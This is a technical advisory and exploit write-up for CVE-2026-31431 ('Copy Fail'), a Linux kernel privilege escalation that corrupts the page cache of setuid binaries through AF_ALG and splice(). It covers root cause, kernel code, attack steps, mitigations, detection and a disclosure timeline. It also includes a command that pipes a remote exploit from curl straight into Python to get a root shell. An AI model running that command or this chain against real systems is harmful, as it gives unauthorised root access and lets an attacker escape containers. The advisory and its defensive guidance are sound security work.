
Proof-of-concept exploit for CVE-2026-31431, a Linux kernel local privilege escalation via AF_ALG page cache write, achieving root on major distributions.
algif_aead Page Cache Write ("Copy Fail")
Author: Van Glenndon Enad
Original Discovery: Theori / Xint Code Research Team (Taeyang Lee)
Published: April 29, 2026
Severity: High
CVSS v3.1 Score: 7.8
CVSS v3.1 Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-787 (Out-of-bounds Write), CWE-269 (Improper Privilege Management)
CVE-2026-31431, publicly nicknamed "Copy Fail," is a high-severity local privilege escalation (LPE) vulnerability in the Linux kernel's algif_aead module — the AEAD cipher interface of the kernel's userspace cryptographic API (AF_ALG). The flaw originates from a performance optimization (in-place operation) introduced in 2017 via commit 72548b093ee3, which inadvertently allowed page-cache-backed file pages to be placed into the writable destination scatterlist during an AEAD cryptographic operation.
By chaining three kernel subsystems — AF_ALG sockets, the splice() system call, and the authencesn algorithm's scratch-write behavior — an unprivileged local user can perform a controlled 4-byte write into the page cache of any readable file. Targeting a setuid binary such as /usr/bin/su, this write corrupts the in-memory executable image without modifying the file on disk, thereby bypassing on-disk file integrity tools. The resulting privilege escalation to root is deterministic — no race condition, no per-distribution kernel offsets, and no special privileges are required. A publicly released 732-byte Python PoC exploit delivers root shells on Ubuntu, Amazon Linux, RHEL, and SUSE in a single unmodified run.
The vulnerability has been silently present in every mainstream Linux distribution for nearly nine years. According to Theori, AF_ALG is enabled in virtually every distro's default kernel configuration, meaning no special build flags or configurations are needed for a system to be vulnerable.
The Linux kernel exposes cryptographic primitives to userspace through the AF_ALG socket interface (crypto/algif_aead.c). In 2017, a performance optimization was merged that allowed algif_aead to perform AEAD operations in-place — reusing the source memory buffer as the destination — to avoid unnecessary data copying.
The flaw emerges when userspace feeds input into the AF_ALG socket via the splice() system call. In this case, the pages placed into the source scatterlist are page cache pages — shared, kernel-managed memory backing the spliced file. Due to the in-place optimization setting req->src = req->dst, these page cache pages end up in the writable destination scatterlist. The authencesn algorithm subsequently performs a scratch write at dst[assoclen + cryptlen], which resolves to an offset within those page cache pages — effectively writing attacker-controlled data into the in-memory image of the spliced file.
Because page cache is shared across the entire host including containers, a write from one process affects the cached pages of that file for every process and container on the same kernel.
The offending change in algif_aead.c set req->src = req->dst and chained tag pages from the source scatterlist into the output scatterlist via sg_chain():
/* 2017 in-place optimization — commit 72548b093ee3 */
req->src = req->dst; /* source == destination */
sg_chain(dst, n + 1, src_tag); /* tag pages chained into writable dst */
When splice() is used to feed a file into the socket, the scatterlist pages are page-cache-backed, not private anonymous memory. Chaining them into the writable dst scatterlist violates the assumption that the destination is writable private memory.
authencesn Scratch WriteThe authencesn template writes a sequence number scratch value (seqno_lo, bytes 4–7 of the AAD) at dst[assoclen + cryptlen]. Because dst now contains page cache pages from the spliced file, this write lands at an attacker-controlled offset within the file's in-memory image:
/* authencesn scratch write — offset determined by assoclen + cryptlen */
scatterwalk_map_and_copy(seqno, dst,
req->assoclen + req->cryptlen,
sizeof(seqno), 1); /* writes into page cache */
The 4 bytes written correspond to seqno_lo, which the attacker controls via the AAD payload sent through sendmsg().
AF_ALG socket (SOCK_SEQPACKET)
│
│ splice() — delivers file-backed pages into socket
▼
algif_aead in-place optimization
│ req->src = req->dst
│ page-cache pages land in writable scatterlist
▼
authencesn scratch write
│ writes seqno_lo at dst[assoclen + cryptlen]
│ = attacker-chosen 4 bytes at attacker-chosen file offset
▼
page cache corruption (no on-disk change)
The fix (a664bf3d603d) reverts the in-place optimization entirely — algif_aead now always operates out-of-place, allocating a separate destination buffer. Since source and destination now come from different mappings, page-cache pages in src can never be reached by the dst write path.
Notably absent from the prerequisites: network access, kernel debugging features, CAP_SYS_ADMIN, pre-loaded kernel modules, or any pre-existing primitives. The attack surface is entirely local and self-contained.
Step 1: Attacker opens an AF_ALG AEAD socket (SOCK_SEQPACKET)
│ autoloads algif_aead module; no root required
▼
Step 2: Attacker opens the target setuid binary (e.g. /usr/bin/su) for reading
│ only read permission needed
▼
Step 3: splice() transfers pages of the target file into the AF_ALG socket
│ page-cache pages now in the source scatterlist
▼
Step 4: In-place optimization fires: req->src = req->dst
│ page-cache pages enter the writable destination scatterlist
▼
Step 5: authencesn decrypt path performs scratch write at dst[assoclen + cryptlen]
│ attacker controls assoclen, cryptlen, and the 4-byte seqno_lo value
▼
Step 6: Controlled 4-byte overwrite lands in the page cache of /usr/bin/su
│ in-memory binary is patched; on-disk file unchanged
▼
Step 7: Attacker executes `su` — corrupted in-memory image runs as root
│ setuid bit preserved; kernel executes attacker-patched code
▼
Step 8: Root shell obtained — privilege escalation complete
In container environments, Step 6 propagates the page-cache corruption to the host and to all sibling containers sharing the same kernel, enabling a full container escape.
The PoC (copy_fail_exp.py, 732 bytes) uses only Python 3.10+ standard library modules: os, socket, and zlib. The exploit constructs and sends a precisely crafted sendmsg() payload to the AF_ALG socket after staging file pages via splice().
/usr/bin/su ELF PatchThe default PoC targets /usr/bin/su. The 4-byte write patches a specific instruction in the ELF binary's cached page — replacing a privilege-check branch or uid check with a no-op or unconditional jump — so that when su is subsequently executed, the setuid execution environment runs the patched code as root. The corruption is non-persistent: a page eviction or reboot restores the original binary.
Unlike typical page-cache attacks (e.g., Dirty COW), Copy Fail requires no race condition. The write path is straight-line: splice() → sendmsg() → scratch write. Each call is deterministic and synchronous, making the exploit highly reliable across hardware, kernel versions, and distros.
Warning: This PoC is provided for educational, research, and authorized testing purposes only. Do not use against any system you do not own or have explicit written permission to test.
The canonical PoC is maintained by Theori at the official repository. It is a self-contained, 732-byte Python 3.10+ script with no external dependencies.
Default usage (targets /usr/bin/su):
python3 copy_fail_exp.py
Custom setuid target:
python3 copy_fail_exp.py /usr/bin/sudo
One-liner (from official site):
curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)
SHA256 of the canonical PoC:
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
The same unmodified script has been publicly demonstrated achieving root shells on Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1, and SUSE 16 in a single tmux session.
The most critical impact vector is multi-tenant environments: shared development boxes, Kubernetes worker nodes, GitHub Actions self-hosted runners, GitLab/Jenkins CI agents, notebook hosting platforms, and serverless environments where user-supplied code runs under a regular user account. Any such environment running an unpatched kernel is fully compromised by any user who can execute code.
Upgrade the kernel to a version containing mainline fix commit a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5:
Disable the algif_aead kernel module to block the attack path at its source:
# Persist the block across reboots
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# Unload the module from the running kernel (if loaded)
rmmod algif_aead
What this breaks: This does not affect dm-crypt/LUKS, kTLS, IPsec/XFRM, SSH, or standard OpenSSL/GnuTLS/NSS. It may affect userspace applications that explicitly use the
afalgOpenSSL engine or directly bindaeadsockets. Verify withlsof | grep AF_ALGbefore applying.
AF_ALG socket creation via seccomp regardless of patch state — add SOCK_SEQPACKET + AF_ALG to the deny list in your seccomp profile.AF_ALG AEAD socket creation.AF_ALG SOCK_SEQPACKET socket — this is the mandatory first step of the exploit.su/sudo executions combined with AF_ALG socket usage as a behavioral signal.Legal Disclaimer: This analysis and proof of concept are published strictly for educational, research, and defensive security purposes. The author does not condone unauthorized access to computer systems. Always obtain explicit written permission before conducting security testing against any system you do not own.
| Component | Details |
|---|
| Affected Subsystem | crypto/algif_aead.c — Linux kernel AF_ALG AEAD interface |
| Vulnerability Introduced | Linux kernel 4.14 (2017), commit 72548b093ee38a6d4f2a19e6ef1948ae05c181f7 |
| Fixed Versions | 6.18.22, 6.19.12, 7.0 |
| Fix Commit | a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 |
| Verified Distros | Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1, SUSE 16 |
| Implicitly Affected | Debian, Arch, Fedora, Rocky, AlmaLinux, Oracle Linux, and any distro running an unpatched kernel built since 2017 |
| Requirement | Notes |
|---|
| Local unprivileged user account | No elevated permissions needed |
| Kernel built from 2017 onward (≥ 4.14) | Covers effectively all mainstream distros |
AF_ALG (CONFIG_CRYPTO_USER_API) enabled | Default in virtually all distro kernel configs |
algif_aead module loadable/loaded | Autoloaded on first AF_ALG socket creation |
At least one readable setuid binary | e.g., /usr/bin/su, /usr/bin/sudo |
| Python 3.10+ (for the public PoC) | Only os, socket, zlib from stdlib |
| Parameter | Attacker Control | Mechanism |
|---|
| Target file | Any file readable by the attacker | Passed to splice() |
| Write offset | assoclen + cryptlen | Set via socket options in sendmsg() |
| Write value (4 bytes) | seqno_lo | Bytes 4–7 of the AAD payload in sendmsg() |
| Category | Description |
|---|
| Confidentiality | Full read access to all files on the host as root |
| Integrity | Ability to write arbitrary files, install backdoors, modify /etc/passwd or /etc/shadow |
| Availability | Complete host takeover; service disruption possible |
| Authentication | No credentials required beyond a local user account |
| Container Escape | Page cache is shared across the host — a pod with a local shell can compromise the node and cross tenant boundaries |
| CI/CD Pipeline | An untrusted pull request executed on a self-hosted runner becomes root on the runner host |
| Persistence | Post-exploitation: SSH key injection, cron jobs, kernel module installation — all trivially achievable |
| Forensic Evasion | The on-disk binary is never modified; file integrity monitors (FIM), AIDE, Tripwire see no change |
| Distribution | Fixed Kernel Version |
|---|
| Upstream Linux | 6.18.22, 6.19.12, 7.0 |
| Ubuntu 24.04 LTS | Vendor patch available — apt update && apt upgrade |
| Amazon Linux 2023 | Vendor patch available — dnf update kernel |
| RHEL 10.1 | Red Hat patch in progress — AlmaLinux shipped upstream fix |
| SUSE 16 | Vendor patch available — zypper update kernel-default |
| Date | Event |
|---|
| 2026-03-23 | Vulnerability reported to Linux kernel security team by Theori |
| 2026-03-24 | Initial acknowledgment received |
| 2026-03-25 | Patch proposed and reviewed by kernel maintainers |
| 2026-04-01 | Fix committed to mainline (a664bf3d603d) |
| 2026-04-22 | CVE-2026-31431 assigned |
| 2026-04-29 | Public disclosure at copy.fail; PoC published on GitHub |
| 2026-04-30 | AlmaLinux ships patched kernel using upstream fix |
| 2026-04-30 | Microsoft security blog, Sophos, Sysdig, Bugcrowd publish analyses |
| 2026-05-01 | Kubernetes container escape PoC published |
| 2026-05-02 | Independent analysis and documentation published |